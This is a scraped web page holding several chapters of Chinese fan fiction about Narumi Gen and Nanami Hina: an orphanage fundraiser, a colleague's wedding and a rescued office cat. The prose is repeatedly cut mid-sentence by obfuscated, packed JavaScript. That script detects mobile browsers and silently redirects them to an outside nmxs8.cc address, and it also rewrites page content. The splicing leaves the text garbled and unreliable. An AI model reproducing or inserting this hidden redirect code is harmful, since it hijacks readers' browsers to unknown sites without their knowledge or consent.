;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15159198|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,整座城市还是会陷入寂静,她觉得自己应该回去了,至少基地是永远亮着灯的。 推开宿舍门之前,她先听到了屋内有声音,黑漆漆的屋子,在那张扶手椅上,躺着的人是鸣海弦。 他大概睡得很不舒服,皱着眉头撇着嘴角,七海在想自己明明已经改过了宿舍密码,这个家伙到底又是怎么猜到的。而且,他为什么会认为他们之前闹过的冲突这么简单就可以翻页不谈了,虽然七海确实认为扇上司耳光这么大逆不道的事情能被直接揭过去是件不错的事。 可重点不在这里。 “喂。”她轻轻踢了两下椅子,男人一点反应都没有,倒是把整个人团在一块儿,像只大型猫科动物。 七海心想算了,她也担心鸣海醒来会说些什么她回应不了的话,她今天的心情实在称不上轻松。因此她盘腿坐在了地板上,捡起鸣海扔在一旁没电熄屏的游戏机,拉长了充电线插上,点开他的存档玩起了游戏。 微弱的光照着她的脸,鸣海不知是什么时候睁开眼的,他也没有动弹,只是呆呆望着她,微微抖动的睫毛、抿起的嘴唇和脸庞的碎发。 “醒了就回自己办公室。” 她冷不丁开了口。 “你怎么知道我醒了,不会又是听出来的吧。”鸣海起身蹲在她身后,看着游戏机的屏幕,她说话的语气和平时一样,他想她没再和自己赌气了。 “那不然呢,呼吸声变了。”鸣海说话时的热气打在耳廓上,七海觉得耳朵有点痒,稍稍躲了躲。 “真变态啊,你这个能力。”结果鸣海靠得更近了,坐在她旁边,半个身子都凑了过去。 “那房间主人不在,你在这儿睡觉就不变态了?”七海打完最后一击,将游戏机放下,凑上前的鸣海差点扑了个空,摔在她身上。 “我怎么会知道你请假出去这么长时间都不回来,打游戏打到睡着了。”鸣海坐直了身子转头看向她。 “我只请了一天假,队长大人,别这么残忍。”七海长叹气,“说吧,你不会无缘无故来找我的。” 鸣海犹豫了好一阵子,七海真的很担心他继续说先前的话题,直到他又说出了那个她无比熟悉的开头。 “你能不能……” “没钱,滚。”这个回答仿佛是一种条件反射。 “谁要借钱了,”鸣海着急地补充,“是下个礼拜福利院有个募捐活动,我想让你和我一起去千叶。” “我看起来是会做这种事情的人吗,找别人吧,我有排班呢。”她松了一口气,立刻回道。 “那天你不值班,我看过了。”鸣海锲而不舍。 “所以有什么非我不可的理由吗?”七海反问,出于一些众人都能理解的原因,她认为人不应该太贴近上司的私生活,至少不应该陪上司去他长大的福利院。 这个问句让鸣海又支支吾吾了老半天,把七海的耐心都磨没了,只想把他推出宿舍大门。 死死拉住七海的胳膊,鸣海终于说道:“因为我跟别人没有这么熟!” 这下沉默的人就轮到七海了。 两个人面对面这么坐着,继续说话也不太合适,不继续说话则更是尴尬,当鸣海决定耍赖似的抛下“我不管你一定要陪我”就准备逃跑的时候,七海抬起头。 “那你也答应我一件事吧。” “说。”鸣海停住脚步。 “总部的同事结婚发了请柬,陪我去参加。”七海指着桌角的信封。 “什么年代了,还有人结婚?”鸣海伸手把它打开。 “是吧,我也想问。”七海摇了摇头。 交易成立,两个人都得到了想要的。 不过鸣海打开门的时候又回过头问道:“你是那种会参加同事婚礼的人?” “好问题,”七海扯起嘴角,“欢迎你来到成年人的世界。” 24.内勤暴言(23) 内勤暴言(休班版本)@wffh 非工作时间就当我死了不好吗? 这很难吗? 09:23 dd/mm/yy twitter for web 难得的一个轮休日,七海原本的计划是去横滨美术馆看古代怪兽特展,展期只剩最后一周,而防卫部队的证件可以免预约直接进场。加上监察部门已经给出了审查结果,自己和小此木广之都不会收到任何处分,日比野前辈也获得了第一部队的正式编制,这是四之宫功最后为他在内阁处争取到的。 很显然,她的计划被彻底打乱了。 因为她现在正打着呵欠坐在电车上,而旁边的鸣海看起来比常年失眠的她还要憔悴,七海实在是懒得问他昨晚又熬夜打游戏打到几点,只是抬了抬左肩膀,想把靠过来的人推开。然而毫无作用,下一秒她就听见传来了酣睡声,呼出的热气惹得她后颈发烫。 出于一些防范措施,如今的七海出入公共场合总会戴着一副隔音效果很不错的耳机,可这不能过滤鸣海的呼吸和心跳,不如说二人微妙的体温差都在挑战着她敏锐的触觉,好像有数不清的小虫在胸腔内到处乱爬。 她真希望这趟车快点开到终点站。 千叶县这十年来增设了三家公立福利院,还有两家是由企业合资的,这在整个东日本地区都不是什么稀奇的事情,或者说在整个日本都很普遍,福利院的数量远远超过学校。 这个怪兽时代,就像人们不再有时间、精力与财力为逝去的亲人修坟立碑,失去父母家人也不再是孩子们身世背景中那条悲惨标签。在厚生省指导下确立的灾后儿童安置法案日渐成熟,优良的住宿环境、先进的教育条件,会以个人为单位制定心理课程。 这群孩子甚至被称为后怪兽时代的幸运之子,多讽刺的名字。 不过鸣海弦是法案颁布前最后一批被送进千叶福利院的,与七海不同的是,他对父母的印象几近于无,似乎他在尚不能完整记忆事件的年纪就清楚,求生欲是在这个时代活下去唯一可靠的东西。 他就在漫长的黑夜中竭力奔跑着,将惊恐的尖叫声、难闻的血腥味、摇摇欲坠的房屋通通抛在身后。 这在很长一段时间里都是鸣海幼时的梦魇,只是当时的福利院最多能以最低限度满足孩子们的生存要求,他常在满屋子嚎哭的同龄人中醒来,然后翻身再次紧闭双眼,因为睡觉是很重要的事情,哪怕由于应激发作拒绝吞咽,他也要求自己填饱肚子。在他的观念里,那些事物之所以会以万般恐怖的模样出现,是因为它们在极力把他推出死亡的深渊。 这一次的募捐活动海报贴了一路,鸣海刚出车站就没了睡意,拿手机对着海报上自己那张脸拍了大约有两百张照片,其中一百五十多张都是自拍,还有三张和七海的合照。 对方自然是一万个不乐意,她看向他的眼神里满满是嫌弃与怀疑,就差没把“你是不是又在车上装睡”这句话丢在鸣海的脸上。 “真奇怪,你不是能听出来我有没有睡着吗?”鸣海一边走着,一边在手机里翻找拍得最好的几张一会儿用来发推特。 “我为什么要吃饱撑的天天听你的心跳,”七海别过脸,“别发有我的那张。” “这可是本队长奖励你一起做好人好事,我就要发,你应该感谢。”鸣海举高手机,立刻按下了发送键。 “那真是谢谢啊,鸣海队长,带我出道。”七海把耳机又扣上,装出不愿意再听的样子。 走在写前方的鸣海却是低头看着那张合照,她好像总是没什么表情,就连私服也很朴素,身上这牛仔衬衫都洗得泛白了还一直在穿,明明是差不多的个头,肩膀怎么会这么窄,一顿饭能吃下六人份,整个人仍然像一张纸片。 有的时候七海厉害到让他想要振臂高呼,更多的时候她却是单薄得让他觉得一捏就能碎。 真是个奇怪的女人。 前些年重新选址扩建后的千叶福利院距离海滨浴场很近,只要步行几百米就能到热门的冲浪区。虽然时间很早,但是海滩上已经满是抱着冲浪板的当地人,他们很热情地跟鸣海打招呼。 七海虽说习惯了自家队长这种做派,但真碰到这种回主场的热闹景象还是有些吃不消,她又放慢了脚步,想跟他再拉开一些距离,谁知下一秒鸣海倒是抓过她的手腕快步奔向前。 “院长,我回来了!” 顺着鸣海视线看过去,一位上了年纪的女性扶着冲浪板站在不远处,她的肤色黝黑,前额发全都白了,个头很高,也许有一米九的样子,手臂与大腿肌肉发达,看起来像个亚马逊女战士。 “您好,我是七海阳菜,鸣海队长的下属。”七海连忙摘下耳机,对着她微微鞠躬。 “看来你就是弦那位好朋友,英治也提过你。”院长说话的语气仿佛鸣海还是个小学生,放学带着同学回家了一样。 等等,英治,谁的名字,好熟悉,七海思索了一阵子,所以是长谷川副队长? “哦,我没跟你说过吗,”鸣海这会儿才想起要介绍,“院长是长谷川和功叔以前的教官,我也是进了第一部队以后知道的。” “是的,你完全没提过。”七海恍然大悟,难怪会有这么完美的身材,而她光顾着感叹这位“院长妈妈”的强壮,以至于忽略了院长刚刚提到的“好朋友”,忘记去问鸣海到底是怎么和对方谈论自己的。 在院长引导下,他们来到了这次募捐活动的主办场地,义卖的摊档都准备得差不多了,年纪稍大些的孩子们在负责组织,年纪小的孩子则是一看到鸣海就围了过来,那个说着最讨厌弱小的东西的男人,这会儿像个孩子王享受着大家的崇拜。七海没忍住在边上笑了出来,这甚至给了她一种如果这就是会永远延续的日常该有多好的幻觉。 “你可以把耳机戴上的,”院长提醒道,“这没关系,我们这里没有这么多规矩。” “我……”七海一时没反应过来,因为她的特殊体质一直是机密。 见七海犹犹豫豫,院长哈哈一笑,将手腕翻过来给她看:“我是三号的一代适配者,那时候发射器是植入的。” 十字形伤疤深深印刻在皮肤上,七海惊讶地看向院长,因为她看过过去每一个参加过适配测试的实验体数据,未能适配修复能力的实验体会在战斗中承受巨大的疼痛,外置注射器尚且如此,植入的更是难以想象。 “谢谢您的理解。”七海轻声回应,而后戴上耳机。 “你能和那小子一块儿来,该是我感谢你才是,他很讨人厌对吧。”院长的眼神越发柔软起来,“我还以为他会一辈子孤独终老。” “其实部队所有人都很尊敬队长的。”七海当然不能直接点头回答说,没错,他真的很讨人厌。 “那还是不太一样,”院长稍稍凑近小声说,“他以前对我可没这么好,要不是英治把我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15201944|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身份说漏嘴,他可不会主动给福利院打电话。” “他主动打了电话?”七海反问。 “弦想知道三号基因的副作用怎么解决,想知道怎么训练,我都不知道这小子有这么多话。”院长轻描淡写透露着什么很不一般的消息,“你一定是很重要的朋友,对这个没朋友的家伙来说。” 这段话直接让七海陷入了茫然,她久久没能再说出一句话,到底谁会因为上司的善意感动,这件事太让人头皮发麻了,下一秒她抬头与鸣海四目相对,他那副一如往常的幼稚模样又让她觉得那一切一定是幻觉,就和她曾幻想这种日常才是真实一样。 而在如何打破幻觉上,鸣海弦更是不会让她失望,只见男人匆匆穿过人群来到她跟前,双手合十说道:“七海,帮我写一份发言稿。” 事实证明,上司就是绝佳的幻想终结者。 半个小时后,七海坐在福利院的电子阅览室里,飞速敲着键盘的同时嘴里埋怨着:“你就没想过至少提前一个晚上告诉我吗,院长是今天才告诉你募捐活动要你发言的。” “确实,她上周告诉我的。”鸣海很坦白。 “所以这种时候我又变成你下属了,”七海确认了一遍收尾的句子,拉上去看了看开头,“我不是‘弦的好朋友’吗?” 带着怒气按下打印,身后的打印机开始运作,七海也终于有了空闲能将自己眼里的恨意全都倒给鸣海。 移开视线躲避着这高浓度的恨意,鸣海抽出打印好的稿子,清了清嗓子:“反正我不会对别人这样的!” 他转眼便一溜烟消失在走廊上,七海撇着嘴挠了挠太阳穴,起身在阅览室里转悠着,墙上贴着每一年新来的孩子们的照片,循着年份找到了鸣海,身材矮小的他在角落并不起眼。歪头看了很久,她拿起手机打开相机,将这个小男孩留在了自己的相册里。 这日的活动一直持续到很晚,白天鸣海在台上的发言很流畅,尽管只是看了一遍稿子,若不是七海这么熟悉他的语言习惯,大约也无法发挥如此急智。但是十全十美地完成工作只会让七海觉得自己真是可怜,到底谁会在轮休日给上司写讲话稿还要求自己绝不出错。 剩下的时间里,鸣海拉着她从第一个摊位逛到了最后一个,他想把自己觉得有意思的东西全都塞给她,但是实战射击满分的家伙在气球摊欺负人就有点不太好了吧。 不知为何,七海看着这样的鸣海,觉得他简直就是一只会把抓到的老鼠带到主人身边的猫。 不行,不可以觉得他可爱,七海拍了拍自己的脸颊。 夜幕降临,所有人聚在海边的篝火旁,院长领着孩子们玩着游戏,一整日吵闹的氛围还是让七海到了极限,她悄悄地向海滩另一边走去,柔软的沙地走起来一步深一步浅,海风也柔和,这里还是比港区好多了。 从院长手里接过烟火棒的鸣海转身发现七海不见了,昂起头看了看周围,他在远处看到了她低头在踩水,立马拾起最后一盒火柴追了上去。 火星亮起的瞬间,七海突然笑了出来,她低着那团闪烁的亮光说道:“我要是说这是我第一次玩烟火棒你相信吗?” “那你会记住我一辈子的。”鸣海抬眼,两个人的眼眸里是同样的光。 “放心吧,您让我记一辈子的事情可太多了。”她说道。 烟火棒在此刻燃尽,眼前蓦地暗下来,他们却都能清晰地在黑暗中看到彼此。 25.内勤暴言(24) 内勤暴言(被迫社交版本)@wffh 知道什么是地狱吗? 是同窗会还是同事的婚礼? 这似乎并没有区别。 14:23 dd/mm/yy twitter for web 在正式进入大怪兽时代之前,国内的结婚率曾经到达过一个顶峰,人们尚未习惯频繁出现的怪兽信号,时常将每一次灾害当作是世界末日的序曲。而没有建立完备的灾后补偿与救济政策,人们保障财产的唯一手段则是依赖婚姻。但更多的人会倾向于一种更加浪漫的说法,那来源于一部相当老旧的外国电影。 With the whole world crumbling ,we pick up this time to fall in love. * 那时的年轻人们几乎倾其所有,将自己的一切耗费在种种虚无缥缈的事物上,消费陷入假性繁荣,物价飞涨,人人都在享乐。直到怪兽信号变成新时代的“狼与少年”的故事,脆弱的人类意识到真正的末世是这场生活,泡沫便随之破碎。 而七海阳菜正是那个顶峰阶段婴儿潮中的一员,与她同世代的年轻人差不多承担了目前社会劳动力的百分之五十,因此他们经历了近些年来毕业人数最多的年份、就业人数最多的年份,同时也是结婚人数最多的年份。 这阵风潮大约是从六年前开始的,史诗级大怪兽六号导致东日本地区陷落,重建完成后防卫部队又在怪兽七号登陆前控制住了它,那之后有好些年都未曾发生过大型讨伐战役,于是平和的生活催化了新的风潮。 那一年和她同届的东京讨伐高校的同学大都刚从大学毕业,和七海不同的是,他们的人生好像按下了快进键一般,就业、结婚、生子之间没有任何停歇,等到七海收到第六封结婚请柬却仍没有出席过一次的时候,她已经成了同学口中的失踪人士。 所有人都不知道她高中毕业之后去了哪里,即便后来也有进入出云科技的同学,常年借调在外的七海与同部门的同期都宛如陌生人,更别提那些不同期的大学生了。 同窗会就不用说了,七海对老同学的生活毫无兴趣,也对摊份子钱喝上一轮二轮三轮的无聊聚会没有兴趣,她已经在高中三年当够了那只“只知道泡实验室的竹竿子”,所以宁可抽空跟日比野卡夫卡在常去的居酒屋,在呛人的烟火味里喝到首班电车发车。 于是这一回再收到请柬时,哪怕这不是来自同学的,她也想和平常一样扔进废弃文件箱,让它变成碎纸片魂归焚烧炉。加上这位要结婚的哥们,是总部行政的工作人员,七海对他没什么印象,为数不多的几次对话都是因为要办理出入证和总部食堂饭卡,她甚至一下子想不起对方的脸。 这兄弟看起来也不像是会给所有职员都发送请柬的类型,困惑了半天之后,一封署名相同的电子邮件发送到了七海的邮箱,点开是一个视频,她在看到同事旁边那位女性的瞬间明白了原因。 虽然七海从不认为自己做的事情是基于什么特别高尚的立场,但听到那声“谢谢您”的时候,她还是不能免俗,鼻子发酸差点流下眼泪来。同时她回想起当时接住自己的鸣海说她真的疯了,七海十分难得地决定这次一定要在爱出风头的上司面前邀一回功。 可是事情的发展似乎稍微脱轨了,婚礼当日一大早,东云抱着一大包东西出现在了七海寝室门前,她身后还跟着手提化妆箱的四之宫琪可露,她们不顾一脸茫然不知所措的七海的连连发问,只是一味将她按在椅子上,一个拿出一排刷子在她的脸上扫扫画画,一个将包里的洋服一件件在她的身上比来比去。 “三宅,队长那里怎么说?”东云拿出第三条裙子的时候抬手按了一下耳机。 “放心,澡洗了,头发梳了,衣服换了。”七海清晰地听到了另一边传来的声音。 “我们这里也很快就好,”东云将觉得不合适的衣服统统扔到一旁,只留下手上那条样式简单的灰蓝色长裙,“就这个吧。” “前辈,您先把眼睛睁大一点。”琪可露刚要凑近又被七海抓住了手。 “你们这是唱的哪一出戏?”七海抬起两只手,打断面前两个人的行动。 “拯救第一部队形象的大行动。”东云不假思索说着像跑火车一样的场面话。 “说人话?”七海微微蹙眉,眼影画了半边,让她的表情看起来有点扭曲。 “至少正式场合打扮一下不会有错的。”东云实在不忍说他们是因为看到了上次两个人合照时网友的评论,鸣海的私服品味不寻常是众所周知的事情,七海都被连坐说土气就太过分了。 但事实上她又无法反驳,因为七海阳菜的衣柜里确实除了工服之外只有三种衣服,牛仔衬衫、白色T恤和灰色连帽衫,裤子甚至还是高中时的运动裤,不知道是不是她过去经常逃体育课的原因,两条裤子穿到现在都依然完好。 “但是前辈真的要跟鸣海队长去参加婚礼吗?”琪可露犹豫着还是问了,“把那个人当作plus one?” 东云瞪大了眼看向这个十几岁的小姑娘,眼神里满满都是“真是敢问啊”。 “一个人去总归不太合适,所以我考虑过日比野前辈,”刷了睫毛膏之后眼皮子变得有点重,七海不习惯地眨着眼,“不过今天前辈值班。” “七海,”东云咳嗽了一下,“你记得这话千万不要跟队长提。” 她不想再看这俩人冷战波及整个工作氛围了。 可能是见过太多次彼此不体面的样子,鸣海与七海被队友们带到停车场相会的时候,二人迟迟不敢上前,总觉得几步之外的那个人不是自己认识的那位。倒是助力大改造的东云几人手拉手迅速离开了现场,而后躲在了角落的一辆吉普车后面观看新一集“霸道上司爱上我”。 从口袋里摸出了车钥匙,鸣海将衬衫的纽扣又解开了一个,他清了清嗓子指了指前面的车:“走吧。” 七海应声向他走近,裙摆被风撩起露出了脚踝,鸣海像是看到了什么新奇的东西似的,仿佛那是她从未露出的部分一般,而他明明在先前出动时曾经一手握住她的脚踝,不然她就又要从半空中掉下去了。回忆起瞬间的触感,鸣海觉得有股热气顶在了喉咙口。 她的唇上也是亮晶晶的,一开口说话就吸引走了鸣海全部的注意力,完全没听见她在说什么。 “鸣海,变车道,”七海提醒道,“快变车道!” “哦,哦!”慌忙转动方向盘,鸣海总算是冷静了一些。 “亲爱的队长,疲劳驾驶是犯法的。”七海说着紧紧抓着车门把手。 “我才没犯困,真是的,不开车的人少说话。”鸣海又瞥了她一眼,他实在不知道她们做了什么,明明七海开口还是原来的样子,但看起来却完全不同。 窗外的风吹乱她的头发,脸庞的碎发垂下来粘在了嘴唇上,她抬手将头发拨到一边,一点亮晶晶被蹭到了下巴上。 “变右车道你为什么总看着左边。”七海又皱起了眉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252317|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 信号灯转成了红色,鸣海将车停下没有回应她的抱怨,看着数字倒计时,快变成零的时候,他转过身用指腹擦掉了那点唇蜜,然后立刻松开刹车,踩下油门冲向前。 这一个无意识的举动令七海在接下来的路程中陷入了沉默,她低头透过手机的屏幕看自己的脸,然后摸了摸被他碰到的地方。 举办仪式的教堂在一个高坡上,长长的台阶看得七海倒吸一口凉气,脚上这双平底新皮鞋还不算合脚,每走一步她都觉得像用磨砂纸在打磨她的脚后跟,而鸣海自顾自两级台阶一跨,没出几秒钟就将她甩在了身后。 “等……”七海伸出手扯住了他的衣摆,“走慢点。” “我可是提醒过你好好锻炼体力的……”鸣海停住脚步回头看她,风再次吹过,他又低头看向了她的脚踝,然后咽回了后半句话,朝着她伸出手。 正当七海在心里思索着今天这家伙也太过反常的时候,鸣海抓过她的手腕,而后弯下腰,让她揽过他的肩膀,这是战场上最常用的姿势,用来帮助仍然意识清醒但行动不便的队友。 看来鸣海弦一直是那个鸣海弦,七海撇了撇嘴。 为了避开一些不必要的社交,两个人是踩点到会场的,此时宾客们已经将教堂坐得满满当当,七海跟鸣海在最后一排的角落坐下,没有人留意到他们。本想着就这样低调地待到结束,谁料新娘一进门便提着裙摆来到了他们俩跟前。 七海在对方一次又一次的道谢中失去了维持平静的能力,无数的声响就这样涌进来,在轰鸣声中感受着新娘的眼泪与心跳,她一直以为自己很清楚生命的重量,因为她的人生中有太多失去,却在此刻明白最沉重的不是过去的生命,是未来的。 “因为有您在我才能在这里,是您给了我未来。” 女人的话在她的脑海里久久盘桓。 看着在最前方相拥的新人,七海的眼泪一滴又一滴滚下来,在裙摆上流下一团又一团印记,她不知道自己到底是在感动什么,她就是完全控制不住自己的泪水。 而在婚礼赞歌响起之前到结束,鸣海的视线都在身旁的七海身上,他找不出能擦眼泪的手帕与纸巾,便将手心朝上伸过去,眼泪便落在他的手上。 “还没哭完吗?” 宾客们早已挪去了室外的自助餐区,他们两个人还坐在原处没有动过。 “它就是停不下来我也没办法。”她抽泣着,鼻头红红的。 午后的阳光透过教堂顶端的玻璃花窗照进来,落在新婚的二人站立的位置上是一个圆形的光环,鸣海拉起七海的手走上前,面对面站在了那里面。 “七海,你会成为更多人的英雄,你会得到所有的喝彩,虽然不会有我那么多。” “我要成……成英雄做什么?”七海用手背擦了擦脸颊,躲开了他的眼神。 “那样你才能和我一起活到最后,我发誓你和我一样,我不会死,你也不会死。”鸣海深吸一口气,“我们会赢的,这样的未来会有无数个。” 七海正要反驳时鸣海又说:“所以你不许再说丧气话,那老头在听呢。”他手指着上方。 这说不清是承诺还是祝福还是约定,七海的眼泪也不再流了,饥饿感占领了她的理智高地,她转身走向大门,同时说道:“什么老头,你这家伙快给上帝道个歉,我去填饱肚子,你在这忏悔吧。” 看着她的背影,鸣海非常清楚,自己绝不会让七海比自己少活一天。 *卡萨布兰卡(1942) 26.内勤暴言(25) 内勤暴言(外勤版本)@wffh 上班是为了下班更好地喂猫! 18:23 dd/mm/yy twitter for web 讨伐厅总部大楼的重建规划了六到八个月的工期,第一阶段是修复最初始的指挥部建筑,一座和洋折衷的砖楼,一直到六年前被怪兽破坏的时候,总部行政依然有两三个部门在这里办公。而在四之宫功成为长官之前,每年度全日本讨伐战略会议也会在这里的一楼会议室举行,它与龙宁神社在某种意义上地位相当。只不过后来由于怪兽频繁袭击,经济社会形势动荡,厚生省官员屡次发表对讨伐厅不利的言论,即便申请重修经费合情合理亦合法,重修计划也被搁置了许久。 至于这一次能够通过审批,内阁给出的意见是——人们需要“纪念”。 第二阶段的主楼重建难度就没有那么大了,这些年来户塚建设指导研发的新式建材与工具使得建筑的防灾抗震系数比上个世纪翻了不止三倍,若是普通的居民一户建,只要预算充足,甚至可以三天内交收。唯一伤脑筋的是怪兽九号毁掉了总部监控中心与技术中心大量的设备,医疗中心也被砸得七零八碎。 接替四之宫长官的伊丹启司立刻启用了有明临海基地的备用指挥部,作为总部全体办公人员的临时办公场地。 因此离开了第一部队不过半年的来栖便又回到了七海旁边的那间办公室,只是他比其他人要早一天过来,推开门时看到一只毛茸茸的小东西缩在角落,来栖稍稍一愣停住了脚步,它同样一动不动。 “来栖组长?” 听到有人叫自己的声音,来栖转过身,而那只小东西便趁机嗖地一下蹿了出来。 打招呼的七海手里提着一袋猫粮,弯下腰轻轻揉了揉猫咪的脑袋,小猫尾巴绕过她的小腿,躲到她身后探出个脑袋继续观察着对它而言完全陌生的来栖组长。 “我听说总部的不是明天才搬过来吗?”七海问道。 “反正没什么事情做,想着先来实验室调试一下新设备。”来栖眨了眨眼,小心翼翼走近,试探性想摸摸猫咪,“这是你之前在讨伐区捡到的?” “捡猫这件事已经传到您那里了?”七海心虚地一把捞起地上的猫,它又和先前似的非常乖巧地爬到了她的肩膀上。 “无人机都拍到了,你跟猫并肩作战呢。”来栖的手碰到猫耳朵的瞬间猫咪扭头躲了一下,被拒绝了的来栖很遗憾地叹了一口气,转移了话题说,“伊丹长官明天应该会正式发文,怪兽四号与六号的适配者需要在一个月内决定,十号的武器改造预案之前的会议上也通过了。” “您告诉我这个做什么?”七海又有了不祥的预感,“十号的设计我只是去做顾问的,终稿都是第三部队拿出来的,我现在一周要轮两个大夜班,你知道三十六小时实时待命什么感觉吗,第二部队就算了,第四部队松本基地可不在东京……”大约是感受到了她的慌乱,猫咪也开始对着来栖龇牙咧嘴。 “冷静点,冷静点,没人让你出差。”来栖连忙打断她,“等大家都搬过来就会进行这个季度的东日本会议,讨论的内容除了九号的情报,就是我刚刚说的。” “那……和我有关系?”七海微微皱眉。 “不能说完全没有,”来栖压低声音,“因为伊丹长官希望第三部队和第一部队联合,所以他们会来这里开现场会。” “我猜亚白队长不会派了保科副队长带队吧。”七海干笑了两声。 “真聪明。”来栖迅速一拍猫咪屁股,然后往着实验室的方向走去,留下撇着嘴的七海和相同表情的猫站在门前。 鸣海跟保科不对付已经是众所周知的事情,坊间传闻哪怕是把两个人关进守备最严密的海上监狱,两个人也会因为不想跟对方待在同一间屋子而把整个岛都炸掉。 而由于讨伐厅在建设部队时,并非纯粹以地域来划分,比如松本基地的第四部队就是以侦察任务为主,第二部队则是擅长空战,但是根据地建立在市区与临港这些居民密集地带的第一与第三部队某种程度上就撞型了。 加上两个部队都以队长的个人声望作为主要宣传手段,两边的队员不约而同都认为是对方抢走了自己部队的资源,无论是经费还是装备。 这一次伊丹长官竟然下命令要两队人马一起开现场会,七海完全能想象到当天会是什么盛景。 话说回咪咪的事情,没错,这是胸无点墨的七海阳菜斟酌了两个晚上想出的名字,十分朴素且毫无新意。但是咪咪是一只毛茸茸的狸花,戴着四只白手套,眼睛上方还有两个小黑点,看起来楚楚可怜,它只要一叫唤,所有人都会原谅它的名字是平平无奇的咪咪。 唯一遗憾的是基地寝室规定不能够养宠物,七海也做不出把咪咪和实验动物关在同一间屋子这么残忍的事情,最开始她把咪咪藏在了自己办公室里,奈何精力旺盛的狸花猫对从打印机里出来的每张纸都很感兴趣,稍微一个不注意,那些文件就会被挠得像是进了碎纸机。 忍无可忍之际,她看到鸣海出现了办公室门口,七海犹豫了半秒钟,立刻打开门追上去,希望队长大人可以大发善心匀一个纸箱子给咪咪睡觉。 谁能想到平日里天不怕地不怕的鸣海看到圆滚滚的咪咪第一反应是后退了半步,七海这才意识到最近这几天鸣海没有再做什么闯空门之类的坏事原来是因为这里有只猫。 “你不会真的怕猫吧?”七海抱起咪咪,抓着它的两个爪子向鸣海走近,他陡然上升的心率被听得一清二楚,被刘海遮着的两只眼睛瞪得老大。 “谁会怕猫,开什么玩……玩笑啊,你不要把它放在我头上啊!”鸣海像个僵硬的人偶,咪咪软软的肚子贴在他的头顶,这猫居然还惬意地打了个呵欠。 说来奇怪,咪咪到现在都会对着东云呲牙,琪可露花了两袋小饼干才勉强获得了它的信任,小此木广之和伊东那几个更是一靠近就会惹得它炸毛,日比野前辈的状况也差不多,上一回还差点被挠伤。 这会儿却如此听话地趴在了鸣海的头上,别说抗拒了,它甚至很享受。 “这世界上能无条件喜欢你的动物除了老鼠和蟑螂之外的可不多了,”七海幸灾乐祸地看着不断挤眉弄眼求救的鸣海,“有咪之爱是你的福气。” “七海你……”鸣海继续使眼色,“快拿走。” “好吧,咪咪回来,他是坏人,我们不要喜欢他了。”七海一伸手,猫便跳回了她怀里。 鸣海长舒一口气,抬眼睛看到七海抱着咪咪,抓着一只爪子跟自己招招手,他心想着以前这家伙有露出过这种表情吗,笑得花枝乱颤的到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300759|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底给谁看。 “这猫不归我管,但是你不可以。”鸣海清了清嗓子直起腰说道。 “我不可以什么?”七海看向他。 “不可以说我是坏人,也不可以不喜……”鸣海含含糊糊地把后面的字都吞下去,“反正你别让它乱跑!” 于是隔壁这间空闲办公室才成了七海用来过渡的暂时安置所。 作为一个养猫新手,虽然她从上高中起就养活了数不清的实验动物,但不幸的是也处理了更多的动物,对于这种有脾气的流浪猫,她实在一筹莫展。好在有场外协助,亚白估计也是从总部的同事那里听说的,第一部队有人在讨伐区捡了只猫,不久之后便给七海寄来了一个大包裹,里面装着一些猫罐头、猫玩具还有个猫窝,她在纸条上写了不少注意事项,还提到这个猫窝是她家猫猫小时候用到的,希望不要介意。 原来那也可以被称之为猫? 七海在脑海中回想起跟着亚白队长上前线的老虎——那头可以扛得住改装后重型冲击炮后坐力的大猫,随即无言地按了按眉心。 怀抱咪咪坐在电脑前,七海听到了有人在一箱一箱把文件资料运上楼的声音,看来接下来这层楼都会变得很拥挤,她一边挠着猫的下巴一边思索着它接下来的去处,同时还在有一搭没一搭翻阅着总部暂时交接过来的项目列表。 大多是已经过了保密期的公开项目,有一部分标注了星号,七海点开只能看到被涂黑的标题,但根据她先前用鸣海的权限偷看怪兽三号数据的经验,这些应该都是编号怪兽相关的文件。 